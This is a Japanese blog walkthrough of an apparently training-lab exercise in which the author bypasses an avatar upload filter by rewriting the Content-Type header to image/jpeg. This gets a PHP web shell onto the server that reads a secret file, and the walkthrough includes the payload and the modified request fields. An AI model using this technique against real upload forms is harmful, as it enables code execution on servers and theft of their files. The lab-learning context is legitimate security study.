Web shell upload via Content-Type restriction bypass
wienerでログインすると、アバター画像をアップロードする画面があらわれます。
![](https://blog.esna.tech/wp-content/uploads/2023/01/2-22-1024x750.jpg)
テストで、JPGファイルをアップしてみます。
![](https://blog.esna.tech/wp-content/uploads/2023/01/3-23-1024x750.jpg)
ファイルのアップ成功と表示されます。
戻ると、JPGファイルが表示されます。
エディタを使って、exploit.phpをいうファイルを作ります。
<?php echo file_get_contents('/home/carlos/secret'); ?>
![](https://blog.esna.tech/wp-content/uploads/2023/01/4-17-1024x750.jpg)
アップロードフォームから、作ったexploit.phpをアップします。
image/jpeg image/pngしかアップできませんとエラーが出ました。
![](https://blog.esna.tech/wp-content/uploads/2023/01/5-15-1024x750.jpg)
アップに失敗したリクエストをヒストリーからみつけ、リピータに渡します。
*最新の POST /my-account/avatar だと思います。
リクエストボディの
------WebKitFormBoundaryK7cOXSDvpWgNvGpA
Content-Disposition: form-data; name="avatar"; filename="exploit.php"
Content-Type: application/octet-stream
のapplication/octet-streamを
image/jpeg に書き換え、sendを押します。
![](https://blog.esna.tech/wp-content/uploads/2023/01/6-10-1024x750.jpg)
200が返って、phpファイルのアップに成功したようです。
内臓ブラウザのURLで、以下を叩きます。
/files/avatars/exploit.php
秘密のパスワードが表示されるので、Submit solutionに入れて、クリア!
![](https://blog.esna.tech/wp-content/uploads/2023/01/7-10-1024x750.jpg)
–)v
コメント